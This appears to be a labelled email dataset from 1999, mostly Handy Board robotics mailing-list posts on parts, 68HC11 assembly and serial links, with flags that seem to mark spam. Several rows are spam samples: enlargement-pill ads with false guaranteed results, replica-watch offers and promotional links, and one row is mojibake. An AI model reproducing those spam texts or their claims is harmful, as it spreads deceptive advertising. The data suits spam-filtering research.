,handyboard@media.mit.edu,"Sun, 14 Mar 1999 10:46:51 -0500",This diet plan is over the roof,"! jam the fund may oliver try technology or other ",1,0 robbie berg ,handyboard@media.mit.edu,"Sun, 14 Mar 1999 20:39:05 -0500",Re: Good source for Lego Technic parts?,"Certain items, most notably motors, are *significantly* cheaper than Pitsco if you order them through the LEGO shop-at-home catalog (1-800-453-4652). If you are ordering for an educational instititution and if you ask the shop-at-home people, you can get an additional 10-15% discount. Robbie Berg ",0,0 Nordman Kari ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 10:57:25 -0800",for your family good health,"it's cravat may figural but curriculum see describe see crayon ",1,0 Carlos Javier Villagomez ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 00:38:46 -0600","Help me, simulator"," Hello Apreciate group of handy board Anyone can help me to recomend me some free very good simulator of the 68HC11 microcontroller, I apreciate very much your help, also the internet address where I can obtain it. with my best regards Carlos J. Villagomez _______________________________________________________________________ Carlos J. Villagomez O. President student of IEEE Home page under contruction ITESM Campus Morelos, Mexico http://www.mor.itesm.mx/~al372992 Tecnologico de Monterrey _____ __ _____ ______ _____ ______ ____ ___ _ DEPARMENT OF:| ____\\ | | ____ |__ _|| __ ||__ __| | ___| / _ \\ | | | _| | | | _| | | | |_| | | | | | | |_| || | ENGINEERING | |___| |__ | |___ | | | \\ __| |_ | |__ | _ || | AND COMPUTER |_____|____||_____ |_| |_|\\__||______| |____||_| |_||_| SCIENCE ",0,1 seok ho sik ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 17:33:51 +0900",wireless connection,"Hi everyone! I need your help. Is there someone who connects handy board and host PC through wireless connection? I plan to connect them wirelessly. But I don't know what kind of things to be used. So if someone did similar experiment, please let me know what kind of products were used. model numbers and their price information. Please help me! ",0,0 Cota��o - Or�amento ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 05:16:12 +0000",Seus Cart�es de Visitas. - Entregamos em todo Brasil.,REDCOM gráfica digital,1,1 Andrew Vlasov ,handyboard ,"Mon, 15 Mar 1999 11:29:28 +0300",Re: Shaft-Encoders,"Hi, It's very interesting to use mouse QUADRIC encoders for HB as shaft encoders? If anybody make this in hardware? If so, may you give a links? ==================================== -----Original Message----- From: Max Davies >An old broken mouse is an excellent source for stuff like that. Perhaps >even buying a new really really cheap one makes sense, just so you can >scavenge it's parts. Just open one up to see.",0,0 seok ho sik ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 21:49:01 +0900",wireless connection,"Hi everyone! I need your help. Is there someone who connects handy board and host PC through wireless connection? I plan to connect them wirelessly. But I don't know what kind of things to be used. So if someone did similar experiment, please let me know what kind of products were used. model numbers and their price information. Please help me! ",0,0 Stacy Huff ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 16:56:52 +0600",How is everything going?," -Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! Clisk here: http://maaveerar.net appeal improvident paraxial plasm minnow jibe hepburn duty poncho lamar begotten bomb budge whalen monarch burdock afro softball triode ax library borate attain breadwinner catawba bronchus audacity maltese perfume palmetto suicidal superfluous herodotus chao mineralogy bridget acrid phd sellout septillion gouda suny kickoff son deflater cleanse lobotomy celesta stave italic tommy congenital courtesy ivory ",1,1 Steve Wall ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 10:19:43 -0500","0.1 MF capacitor""104"" help","How do you tell what is the negative on the cap labelled ""104"" both sides look the same. please help does the label go in towards the max232 or out towards the edge? ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Tom Brusehaver ,SWALL@flemingc.on.ca,"Mon, 15 Mar 1999 10:05:24 -0600","Re: 0.1 MF capacitor""104"" help"," >How do you tell what is the negative on the cap labelled ""104"" both >sides look the same. please help Normally capacitors with values less than 1uF will not have a polarity. They can go in either way. >does the label go in towards the max232 or out towards the edge? Doesn't matter. I try to make all the labels face the same way when I build a board. It makes things look better, but it is only for aesthetics, nothing functional. If you are mounting something really close to another component, you might want the labels facing out. That way troubleshooting can be easier, since you won't have to bend (and possibly damage) a component to read it's value. ",0,0 drexlest ,play99@media.mit.edu,"Mon, 15 Mar 1999 12:06:41 -0500","An Eco-toy, or Music in Motion","This may be more the speed of a hobby than a toy, but here goes-- Interactive hydroponic garden: A self-encapsulated lucite hydroponic growing environment, complete with starter seeds, would allow kids to watch their plants growing up as well as down at the same time. The planter base would be a motorized lazy susan which could be programmed (via IR port and external PC) to spin towards the brightest light source throughout the day. It could also be set to chime audio alerts when the container is low on water or other nutrients. The PC port connection would also allow kids to export sensor data about the water and air in their garden. In doing so periodically, they could compare measures of growth against light, nutrient and CO2 levels to determine optimal conditions. The PC software would then allow them to connect to a Web-based virtual garden where they could easily upload info about their plant to ""display"" a virtual representation of it in a kids community garden online. A variety of areas at the Virtual Garden site could be developed to allow them to share ideas with other aspiring eco-culturists. If no one else shares interest in this though, I have a passion for music and would be very interested in helping to develop one of the existing musical ideas currently on the table. In particular I like the flexibility of Erik's music pads for their open-ended play. Dan's musical construction kit sounds quite cool too. I like Jason's approach to the ""Musical Jungle Jam"" whereby how you play affects mood and color as opposed to meter and rhythm specifically. And Saul's kites certainly would be a wonderful spectacle. All these cross-modal projects (from motion to music) seem inherently interesting. It might be cool too to explore how the visual modality (either in light pattern or color) might compliment a respective project. Stuart \\ \\ \\ \\ ` - -> Stuart Drexler drexlest@gse.harvard.edu 617-497-1301 ",0,0 """Russell, Casey"" ",handyboard@media.mit.edu,"Mon, 15 Mar 1999 14:30:44 -0500",INTERACTIVE C AND THE .ICB COMPILER,"Hello, My problem lies with the downloading of a constructed .icb file created for the .icb compiler from Newton Labs. I have written a .asm file and compiled it using the web page http://www.newtonlabs.com/ic/icb-200.html . The code compiles successfully and when I copy the associated .icb file and try to download the code using IC 3.2 I receive this message ""Fatal internal error: Non-contiguous binrecs in concat"" then windows informs me that an illegal operation was performed and shuts down IC. Below is a copy of the .asm file and the .icb file. Any help on this matter would be greatly appreciated. Thank You. Casey Russell Crussell@osec.com 540-663-0995 ",0,1 Steve Wall ,handyboard@media.mit.edu,"Mon, 15 Mar 1999 15:09:28 -0500",Are E9's compatible with HB?,"I have a line on a bunch of MC68HC11E9's and I was wondering if these were compatible with the HB. Any help would be great! STEVE ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Erik Blankinship ,play99@media.mit.edu,"Tue, 16 Mar 1999 00:51:21 -0500",musical narrative wearable construction kit,"I propose: a number of wearable pads which students can wear while acting in a scene. The sensory input from these pads would be first recorded in a dress rehearsal. The students would then analyze the input from their pads (matched to their body movements) and assign music to patterns they find. For example, if they crawl around on all fours, they might add some pizzicato ""twinkle toes"" music. Students would work together to create pieces of narrative music for their characters' physical movements. I plan to implement the project using crickets, and a good deal of padding so kids can crawl around whilst wearing the pads. The pattern matching program will be written in Java. Further directions include: making programmable set pieces, and interactive pads which respond to other pads' cues. I welcome anyone's interest in the project. Thanks! ",0,0 lintina ,"ua-cho@mit.edu, ua-cho-chairs@mit.edu","Tue, 16 Mar 1999 00:58:37 -0800",Mar 13: Meeting Minutes," Yay! Great meeting tonight everyone. (Best attendance ever, i think though diversity can be improved). Having been appointed UA-CHO secretary, these are our first minutes. i don't know if i'm supposed to send this email or not, but since I absolutely LOATHE 8.02 and don't want to study for the test wednesday, I'm typing this up. UA Committee on Housing and Orientation Meeting Minutes, Monday March 15, 1999 10:10pm In attendance (sorry, no last names): Matt, Rima, Doug, Lex, Pavan, Lara, Josh, Van, Winnie, Jen, Jenny, Beland, Aaron, Jeff, Tina. 1. Campus Preview Weekend: Doug -no Residence Midway! -Dorm Open Houses: Period 1- East: Senior Hs. to McCormick Period 1- West: Baker to Next House -FSILG Tours also -Phil Bernard is in charge of all Open Houses -Discussion: Do we like this idea? Midway vs. Open House -no contra-programming (special lectures before, Johnson dinner after) -Battle of the Classes (w/prefrosh team?) -Doug will e-mail us if they need help getting workers, etc. 2. Founder's Group Update: Rima, Josh, Jeff, Tina -Steven Holl Architects Residence 2001 Planning Studies (plans from first mtg.) -to see models (and play with them!) goto N52-3rd. (tina) Planning models for ALL of MIT for the next century is there (ghery's CS complex, etc.) -Architect's preferred plan from second mtg: ""Hybrid"" Italian hillside/ramps for community space, 3 Towers for porosity and dorm rooms. Hinged moveable walls, 2 floor units of 16 ppl, 12-13 floors/tower -Briggs Bridge: w/houses, semi-recessed, cage. Plausibility?!? 3. Steering Committee Update: Jen -Preliminary plan to be presented to MIT Community in April. (week of April 15) -want campus feedback -Discussion: how to best present the plan, how to give feedback -Agreement: Move back date better than ""document dropping"" in paper form without explanations. Possibly announcement meeting. 4. Orientation -Next time: Bring at least 2 suggestions of a UA-CHO ""project"" as it's contribution to Orientation '99. Last year: Daily Confusion. This year:??? -Eventually, we need to get faculty to sit at Welcome dinner tables -Beland will forward projected Orientation '99 Schedule recently agreed upon. 5. NEXT MEETING: Monday, April 5th. 10pm...location TBA. ",0,0 """M.J. Matthijsse"" ","""Handyboard (E-mail)"" ","Tue, 16 Mar 1999 09:11:55 +0100",RE: INTERACTIVE C AND THE .ICB COMPILER,"Russell You are making a mistake in you addressing-mode. You do a: STAB TFLG1,X, where TFLG1 = $1023 and you initialise X=#$1000 The assembler gets confused and generates bogus output, including a warning. You need to set TFLG1 EQU $23. You need to so that with more of your definitions or change you address-mode to: STAB TFLG1 Get rid of your warnings and it should load ok. Be sure to strip_cr you icb-file. Rgrds Rien Email:rien@direct.A2000.nl > -----Original Message----- > From: Russell, Casey [mailto:crussell@osec.com] > Sent: Monday, March 15, 1999 8:31 PM > To: handyboard@media.mit.edu > Subject: INTERACTIVE C AND THE .ICB COMPILER > > > Hello, > > My problem lies with the downloading of a constructed > .icb file created > for the .icb compiler from Newton Labs. I have written > a .asm file and > compiled it using the web page > http://www.newtonlabs.com/ic/icb-200.html > . The code > compiles successfully and when I copy the associated .icb > file and try to download the code using IC 3.2 I > receive this message > ""Fatal internal error: Non-contiguous binrecs in > concat"" then windows > informs me that an illegal operation was performed and > shuts down IC. > Below is a copy of the .asm file and the .icb file. > Any help on this > matter would be greatly appreciated. Thank You. > > > > Casey Russell > Crussell@osec.com > 540-663-0995 > > > > > > ",0,1 aldo@lacapital.com.ar,handyboard@media.mit.edu,"Tue, 16 Mar 1999 08:22:41 -0300","Re: Help me, simulator"," There is a cheap simulator for 68HC11 family. I didn´t test it. It cost $25. Its URL: http://dj.cse.rmit.edu.au/Simulator Aldo Gentile Departamento de Electronica. Facultad de Ingenieria. UNR. Rosario Argentina .................................................................................................... > Hello > Apreciate group of handy board > > Anyone can help me to recomend me some free very good simulator of the > 68HC11 microcontroller, I apreciate very much your help, also the internet > address where I can obtain it. > > > with my best regards > > Carlos J. Villagomez > > > _______________________________________________________________________ > > Carlos J. Villagomez O. > President student of IEEE Home page under contruction > ITESM Campus Morelos, Mexico http://www.mor.itesm.mx/~al372992 > Tecnologico de Monterrey > _____ __ _____ ______ _____ ______ ____ ___ _ > DEPARMENT OF:| ____\\ | | ____ |__ _|| __ ||__ __| | ___| / _ \\ | | > | _| | | | _| | | | |_| | | | | | | |_| || | > ENGINEERING | |___| |__ | |___ | | | \\ __| |_ | |__ | _ || | > AND COMPUTER |_____|____||_____ |_| |_|\\__||______| |____||_| |_||_| > SCIENCE aldo@lacapital.com.ar ",0,1 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Tue, 16 Mar 1999 08:48:58 -0500",help on obsolete part,"I tried to order the tantalum part #P2011-ND from Digi-Key and they said it has been obsolete. Does anyone know what I can use instead? Has anyone had this problem?? -Jon ",0,0 Faris Gammoh ,"""Handyboard (E-mail)"" ","Tue, 16 Mar 1999 08:48:00 -0500",LISP,"Hi, I was wondering if there is a way to use Lisp with the handy board. If not, how would you call lisp programs from c and visa versa. I appreciate your help, Faris Gammoh gammof@rpi.edu ",0,0 �� �μ� ,handyboard@media.mit.edu,"Mon, 23 Nov 1931 08:24:28 +0000",�ſ븸���� ������ �ְ��ݾ� �����մϴ� ����Ÿ��,���� ������  �������� ������ Q ��   ������������   ������  ����������   ����  ����  ����������   ������ ������ ����������   �� �� ���� ���� ������������   ��������  ������ ����������   ������ ������ ������ ������������   �������� �������� ��������,1,1 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Tue, 16 Mar 1999 11:17:20 -0500",P6305 is obsolete?,"Digi-Key told me that the mini axial 'lytic part #P6305 was obsolete. What part can I use instead? Has anyone had this happen? also, my last message ""help on obsolete part"" had the wrong part i meant the P6305 from digi-key. -Jon ",0,0 Donald Reuter ,handyboard@media.mit.edu,"Tue, 16 Mar 1999 08:44:58 -0800",RE: Help on obsolete part.,"Are you sure it is no longer available?? There are more than a few substitutions available to you. For nstance, Kemet manufactures appropriate tantalum capacitor substitutions. There are a few that would meet your needs. Lets look at an appropriate replacement part number: Kemet T350A475K006AS may be obtained from JACO Electronics, Inc. There are other Kemet replacements with slight differences in characteristics specifically case size and series that would be appropriate. The part number broken down: T 350 A 475 K 006 A S The first 2 digits of the 4th group of numbers are the significant picofarad code. Specific to Kemet, this series should always be 475 for your application (475 refers to 4.7). The 5th reference ""K"" is the capacitance tolerance (K= +/-10%, M= +/-20%, J= +/-5%), K would be preferable, M is acceptable and J is next to impossible to find. The 6th group of numbers is Kemets reference to 6.3v (006 refers to 6.3v). http://www.jacoelectronics.com/ Sterling, Pioneer, Arrow PEMCO are just a few of other possible sources of Kemet tantalums. You may also want to cross reference Nichicon which can be found at: http://www.nichicon.co.jp/english/tech/tantalum/default.htm Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Graham, J. Todd"" ",handyboard@media.mit.edu,"Tue, 16 Mar 1999 12:23:06 -0600",IR Proximity Detector,"In looking over the contributed items on the Handyboard site, I came across the 16 channel IR Proximity detector. Has anyone constructed this or something similar and done any work on attaching it to the Handyboard? If so, can you provide more information? Thanks in advance... Todd ",0,0 """Russell, Casey"" ",handyboard@media.mit.edu,"Tue, 16 Mar 1999 13:54:32 -0500",Interrupt Driven Binary programs,"If I want to install an interrupt driven binary file to the handy board, do I have to place it in the ""system interrupt"" that runs at 1000Htz? Can I use the clock on the 6811? I want to sample an event running above 1000Htz, is this possible? Bellow is a listing of the code I have written to measure a pulse width using hardware interrupts, when this code is compiled using Norton Lab's ICB assembler server no errors are found. Once I load the created .icb file through IC I receive this error ""Fatal internal error: Non-contiguous binrecs in concat"" and windows shuts down IC. I am at my wits end and could use some help on this problem. Thanks. Casey Russell Crussel@osec.com BASE EQU $1000 TIC3 EQU $1014 * Timer Input Capture register 3 TCTL2 EQU $1021 * Timer Control register 2 TMSK1 EQU $1022 * main Timer interrupt Mask register 1 TFLG1 EQU $1023 * main Timer interrupt Flag register 1 HPRIO EQU $103C * Highest Priority Interrupt and misc TIC3INT EQU $EA * Timer Input Capture 3 IC3MOD FDB 0 IC3DUN FDB 0 HPW FDB 0 FIRST_EDGE FDB 0 variable_pulsewidth FCB 0 variable_wavelength FDB 0 ORG MAIN_START SEI LDAA #$7E STAA TIC3INT LDX #TIMES STX TIC3INT+1 subroutine_get_times: LDAA #%00000001 *CAPTURE ON RISING EDGE STAA TCTL2 LDAA #$FF STAA IC3MOD *FF-IC3 OFF,0-1ST,1-LAST EDGE CLR IC3DUN *SIGNAL PULSE NOT DONE BCLR TFLG1,%11111110 *CLEAR IC3F BSET TMSK1,$01 *ENABLE IC3 INTERRUPTS CLI WAIT LDAA IC3DUN *SETS AFTER PULSE DONE BEQ WAIT *LOOP TILL PULSE IS TIMED SEI *DISABLE INTERRUPTS LDD HPW STD variable_pulsewidth RTS TIMES INC IC3MOD *$FF->0 AT 1ST EDGE, 0->1 AT 2ND EDGE BNE FALL_EDGE *IF NOT 0, THIS IS TRAILING EDGE ****************PROCESS LEADING EDGE OF PULSE********************** LDD TIC3 *READ TIME OF FIRST EDGE STD FIRST_EDGE ****************RECONFIGURE FOR FALLING EDGE*********************** BCLR TCTL2,$03 *EDG3B:EDG3A->0:0 BSET TCTL2,$02 *EDG3B:EDG3A->1:0 BRA RETURN *DONE PROCESSING FIRST EDGE ****************PROCESS FALLING EDGE OF PULSE********************** FALL_EDGE LDD TIC3 *GET TIME OF TRAILING EDGE SUBD FIRST_EDGE *TIME OF LAST MINUS TIME OF FIRST STD HPW BCLR TCTL2,$03 *DISABLE IC3 LDAA #1 STAA IC3DUN *SIGNAL PULSE MEASURED RETURN BCLR TFLG1,%11111110 *CLEAR IC3F RTI *RETURN FROM IC3 SERVICE ",0,0 Saul Griffith ,play99@media.mit.edu,"Tue, 16 Mar 1999 15:32:45 -0500","hacking barbie, ken, and GI joe","Here is the website for the corporate subversives who sponsored and initiated the great Barbie Hack. http://rtmark.com/ cheers, Saul. ___________________________________________ ....everyone is looking for the sublime generalisation..... Saul Griffith Research Assistant, MIT Media Lab, E15-429, 20 Ames St, Cambridge, MA 02139 Ph. 617 253 5554 ___________________________________________ ",0,1 Fred Martin ,"""Russell, Casey"" , handyboard@media.mit.edu","Wed, 17 Mar 1999 05:56:35 +0900",Re: Interrupt Driven Binary programs,"did you try checking for the linefeed problem in your ICB file? please see teh FAQ about this: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#icb thanks, fred >If I want to install an interrupt driven binary file to the handy board, >do I have to place it in the ""system interrupt"" that runs at 1000Htz? >Can I use the clock on the 6811? I want to sample an event running >above 1000Htz, is this possible? Bellow is a listing of the code I have >written to measure a pulse width using hardware interrupts, when this >code is compiled using Norton Lab's ICB assembler server no errors are >found. Once I load the created .icb file through IC I receive this >error ""Fatal internal error: Non-contiguous binrecs in concat"" and >windows shuts down IC. I am at my wits end and could use some help on >this problem. Thanks. > >Casey Russell ",0,1 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Tue, 16 Mar 1999 16:15:06 -0500",help please,"Digi-Key told me that the mini axial 'lytic part #P6305 was obsolete. What part can I use instead? Has anyone had this happen? also, my last message ""help on obsolete part"" had the wrong part i meant the P6305 from digi-key. -Jon ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 16 Mar 1999 18:31:56 -0500",Robotics Computers bargain.,"Hi all, I just found a great deal on a computer that I'm going to use to program my Handyboards with. If I can, I'm going to try to hook up this PC to the Handyboard to use on a larger mobile robot. Here's what I found: Dauphin (sp?) pen based computer (I think it is a 486 CPU) with a 40 meg HDD and windows (Pen Based Version) 3.x and a detachable keyboard I think the LCD is about 5x7"". They are used, so I several (1 for parts...just in case) since they were only $50 each. It's just a local computer shop and the guy has about 20 left. If anyone else is interested let me know and I'll send you the guy's phone number in Mobile, AL. I have no relation to this guy other than I buy a part from him about every month or so. I love bargains! Gerald ",0,0 Mallory Faulkner ,handyboard@media.mit.edu,"Wed, 17 Mar 1999 03:31:46 +0300",Please answer asap,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! Clisk here: http://culinaryartsclub.info betray surveyor roach collectible polyphony architectonic credulous consolidate cross confirm mormon fib without koran occupant lace tripartite stirrup remit arboretum edgar santiago shepard gullible kajar epsilon pyongyang siegfried arpa carlson banister maria bolton aforesaid guanidine filigree fireman teflon antwerp navajo plume mclaughlin awesome retrofitted euclid shrinkage vanadium stationary thickish varian chantilly blazon rummy ami ",1,1 Ryan Hinton ,handyboard@media.mit.edu,"Wed, 17 Mar 1999 01:21:17 -0700",Serial communications," I'm using a Windows PC to try to communicate with the handy board using the posted serial routines (using the pcode port). I can't get a single character to go through successfully. My receive routine is set to display to the LCD as it receives data, but I don't get any output. I tried the debug_serial routines from the same zip file, and they work fine. So the problem seems to be somewhere in the PC->handy board COM interface. The symptoms are rather strange. If I send five \\xFF's, the HB will freeze after the first one, and start executing again after the fifth one. For some hex values it will work (including \\x70, \\x80, \\x66), and for others it won't (including \\x00, \\x01, \\x41)--it will stay frozen until I send five of the characters it likes. However, it never seems to really get the characters, because they never show up in any of my variables (nor on my display). My goal is to be able to get asynchronous communication between the PC and the HB--and have the HB keep working when it isn't receiving. It needs, then, to detect the serial communication and read a set number of bytes off the line before it can go back to other work again. Right now I am implementing it with two processes: an RX process for receiving serial communication, and a work process. I appreciate any light anyone can shed on this subject. Thanks for the help. ------------------- Ryan Hinton ;) ryan_hinton@byu.edu http://www.et.byu.edu/~hintonr ",0,1 Donald Reuter ,maddison@iquest.net,"Wed, 17 Mar 1999 10:59:29 -0800",Re: help please,"Compatible substitutions for: Digikey# P6305 6.3v 470uF NICHICON Aluminum Axial General Purpose Miniature VX Series Capacitance Value: 470 �F Capacitance Tolerance: � 20% Capacitance Range: 376.00 �F to 564.00 �F DC Voltage: 6.3v DC Temperature Range: -40~+85� C Part Dimensions: 0.63"" (16.0 mm) L x 0.315"" (8.0 mm) D x 0.024"" (0.6 mm) LD Part#: TVX0J471MAA http://www.nichicon-us.com/pdf/vx.pdf SPRAGUE Aluminum Axial General Purpose Miniature Type 516D Capacitance Value: 470 �F Capacitance Tolerance: � 20% Capacitance Range: 376.00 �F to 564.00 �F DC Voltage: 6.3v DC Temperature Range: -40~+85� C Part Dimensions: 0.63"" (16.0 mm) L x 0.315"" (8.0 mm) D x 0.024"" (0.6 mm) LD Part#: 516D477M6R3MM7B Get Your Private, Free Email at http://www.hotmail.com ",0,1 Letha Dickey ,handyboard@media.mit.edu,"Wed, 17 Mar 1999 22:06:57 +0300",IWC Watches ,"Authentic replica Rolex and other watches for gentlemen and ladies from just $245 Use this promotional link to get best ever prices: http://051.shovelloving.com dogmatic you semper me, berlin spinnaker . aile you sack me, ladle cacm carnage countrywide . monarch you calve me, leg dishwasher tit . aldrin you severe me, flaw baltimore . dreyfuss you caste me, mumble buzzard . http://www.piercingdots.com/rm/ ",1,1 James Plourde ,Handyboard ,"Wed, 17 Mar 1999 20:09:55 -0500",Moutor Output Circuit," It seems we fried our motor output circuit quite nicely. We've replaced the L293D chips and we replaced the 74HC374 with the 74HC374E that came with our expansion board. Seemed to clear up a few issues, but both LED's are coming on for a couple of the motor outputs. So, next were going to try and replace the 74HC04 inverters.................Just wondering if anyone with some experience might offer some advice in our troubleshooting. We were so close to finishing our project. :) Thanks for any help, James Jplourde@wvu.edu ",0,0 phillip chia ,handybd ,"Thu, 18 Mar 1999 18:43:54 +0800",Using the DC to DC converter,"Hi, I intend to use a 5V source battery going thru a DC to DC converter to get a 12V source. Then this 12v will connect to my diffuse sensor which operrate at 12V. The sensor's current consumption maximum is 35mA. If the output Watt of the DC-DC convertor at the 12v source is 1W, can I said that the the current is 1/12 = 83mA (P=VI) ? If the current supply to the sensor is 83mA and the sensor co nsumption is max 35mA, will it damaged my sensor ? Or should I use less than 35mA ? My battery source is 5V,1.3Ah before going thru the convertor. rgds, phillip ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 18 Mar 1999 08:14:24 -0500",Re: Using the DC to DC converter,"In a message dated 3/18/99 4:56:07 AM Central Standard Time, philchia@singnet.com.sg writes: > The sensor's current consumption maximum is 35mA. > If the output Watt of the DC-DC convertor at the 12v source is 1W, can I > said that the the current is 1/12 = 83mA (P=VI) ? > Yes, P=VI. When the Specification sheet says the converter can source 1W, they mean at most 1 Watt. When your sensor says it consumes 35mA, this is again the max and only if the 12V is supplied. If less than 12V is supplied it will probably draw less current, and it probably will not work. When you connect the 12V DC-DC converter to the sensors, they will only draw 35 mA from the converter, this only means that the converter will run cooler and will not exceed its maximum. You don't have to do anything else. If your converter is 100% efficient, it will draw (35mA * (12V/5V)) = 84mA) from the battery. It will probably draw a little more from the battery since it probably is not 100% efficient. > My battery source is 5V,1.3Ah before going thru the convertor. I have heard that if the batter is NiCd, you should charge at C/10 (capacity/10). Your capacity is 1.3Ah so you charge at 130mA. I have also heard that it is best to discharge at this rate, although NiCds will supply a great deal of current if you let them. With some 100mA going to your converter, this leaves 30mA for the rest of the circuit. If your 5V stuff draws more, it will still work, but it will reduce the number of charge/discharge cycles on the NiCd. If you wish to consider a separate 12V battery for your sensor, you only need to have a common ground for everything to work. Pherd ",0,0 Chen Yung Hsu ,seok ho sik ,"Thu, 18 Mar 1999 16:32:57 -0500",Re: wireless connection,"please reply to me too about this! thanx =) chen On Mon, 15 Mar 1999, seok ho sik wrote: > Hi everyone! > > I need your help. > Is there someone who connects handy board and host PC > through wireless connection? > I plan to connect them wirelessly. > But I don't know what kind of things to be used. > So if someone did similar experiment, please let me know > what kind of products were used. > model numbers and their price information. > > Please help me! > ",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 19 Mar 1999 16:58:08 -0500","GSO - summary of Thu, Mar 18, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be on Thursday, April 1st, 5:30-6:45pm. --Rob Summary ======= 1. Committee Reports Funding Committee ================= This committee will be known as the ""Financial, Academic & Research Committee"" from now on. Ann Walker reported for this committee. - They have contacted the BU Law School's Office for Career Development, which has recommended a person appropriate for giving a talk on ""Intellectual Property."" It's not yet clear whether this person will be available to talk this semester. - They have collected guidelines on advisor/advisee relationships from some other schools. Namely, Univ. of Minn., Univ. of Calif. at Davis and MIT, who they believe have good sets of guidelines. They would like to propose to our administration that BU establishes such guidelines. To that end, one committee member is working with an interested professor in their dept. on a version of those guidelines for BU. They may send information out about those guidelines in order to get feedback. Healthcare Committee ==================== Rob Pitts reported for this committee. - They've looked into the ""Lifetime Learning Tax Credit"" that applies to grads who pay their own tuition and/or fees. Apparently, it cannot cover health insurance (or health services fees). - They've placed a write-up of the state assistance program ""Free Care"" on the Healthcare Pages (http://gso.bu.edu/healthcare). (Since they already have write-ups of how Free Care is implemented as some hospitals and health centers, this new write-up gives more specific information about how the program works in general). - They are continuing to plan a brown bag lunch talk with Chickering. Current details are: - *Tentative* date of Tuesday, April 6th, 12:30-1:30pm in MCS 135 (but they still need confirmation on one of the 2 speakers for that date). - Both a representative from Chickering and one from BU's Student Health Services will be present. - They are scheduled to meet with the Undergraduate Student Union (the ugrad student gov't) at one of their regular meetings on Monday, March 22nd to officially propose that the union co-sponsor and assist with this event. - Early next week, they will be sending some initial questions about healthcare to the Chickering representative to look over in preparation for the talk. They are interested in any questions students might have. Housing Committee ================= Doug Wright reported for this committee. - They will be working on a formal letter (as requested by IT) about why new students need access to Off-Campus Housing listings before they come to BU. - Recently, they have been receiving (and answering) some basic questions from prospective students about housing (which suggests that these students are finding the GSO's web page). ---- A meeting attendee asked whether the ""sublet"" announcements that are listed in the GSO's ""Postings"" section should be part of the Housing Pages. They responded that they did not want to replicate the listing services that the Office of Off-Campus Housing already provides--that office's listings are probably a better resource (since their pages are likely visited by more students). Off-Campus Housing's listings are always recommended to students that ask to post a sublet with the GSO, but ""Postings"" will still be available for apartment listings if students want to place one there as well. Liaison Committee ================= Gary Garber reported for this committee earlier in the week by e-mail. For Orientation (it's more of a ""Welcome"") this Fall, GRS wants to make a big deal and spend a lot of money since this is the 125th anniversary of GRS. Orientation issues are: - The date will be Tuesday, September 7th (classes start Thursday, Sept 2nd.) - GRS wants to invite all of their faculty, staff, students, etc. to the event. They said all included that is ~1600 people. - For the reception, GRS plans on using both the small and large ball rooms in the GSU. - GRS likes our suggestion of an outdoor BBQ, but won't do anything outside without a tent. The Commencement tent was $7000, so they figure a smaller one for this event would be about $4500. - Giving tours to new students is possible if we train ourselves and are willing to lead them. - They plan to have a jazzier poster for the events--4 colors. There will probably be a live string quartet at the reception, and more food at the info session in order to make it more festive. - New Student Packets: They have a library info sheet in the packet. Also, discount coupons. - There will probably be a June mailing. Interestingly, GRS would like to have all new students set up their e-mail accounts over the summer. What they are trying to do is set up an e-mail database list, so they can have a new students e-mail list for this summer (so they don't have to rely on depts. for pertinent info). So, their might be something like new-grs@bu.edu for all the new students. Similarly, during the year, there will be something like grs@bu.edu for all GRS students. Of course, there will be restrictions on usage, so people don't get their mailboxes cluttered with spam and such. - No RSVP will be needed this year, as that may have discouraged people from attending last year. - The date for the new TF orientation is yet unknown. ---- A meeting attendee asked whether establishing accounts for new grads over the summer would fix the ""access to Off-Campus Housing listings"" problem. Social Committee ================ Cassandra Celatka and Amy Tapper reported for this committee. - Again, March's Social Event will be bowling/BeerWorks on March 23rd. - They were able to get $50 from GRS to buy pizza for that event. - For April, they are considering the ""Dugout"" bar as the event location. ---- They provided more information about the free Calendar listings in the Daily Free Press. That Calendar is published on Thursdays. Event descriptions can be send to ""calendar@dailyfreepress.com"" and must be submitted by noon on the 2nd Sunday before the calendar in which you want the event to appear (approx. 1 1/2 weeks ahead of time). Steering Committee ================== Kendra Carter reported for this committee. Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Constitution, Bylaws, etc. We continued discussing the ""Committees of the GSO"" article and got through the rest of the committees. We discussed having committees like ""Survey"" and ""Steering"" be re-occurring committees (e.g., have ""Steering"" pop back into existence each year to make sure the constitution and laws stay up-to-date.) These would be different from ad-hoc committees that are created and destroyed as needed. We also continued the discussion of the ""Officers of the GSO"" article. On the issue of either having 2 chairpersons (for the group as a whole) or ""pres. and VP,"" we settled on having a president and vice-president so that duties are divided up (i.e., not really an issue of difference in ""power""). Although these 2 officers would have different duties, they both will need to keep in touch with what is going on in the group. Remember to send your comments on articles (that have already been sent out by e-mail) to steering@gso.bu.edu.",0,1 mark williamson ,"Andy Stevens , Brad Davis , Brendan Benzing , Caitlin McGillicuddy , Carlie Ross , Chris Carmody , Chris Davi , Chris Smith , Debby Baker , Dirk Cotton , Doug Armentrout , Eric Eden , Georgia Tackno , Greg Sugar , Handy Board , Heather Weaver , Jim Bankoff , Joe Koenig , John Divney , 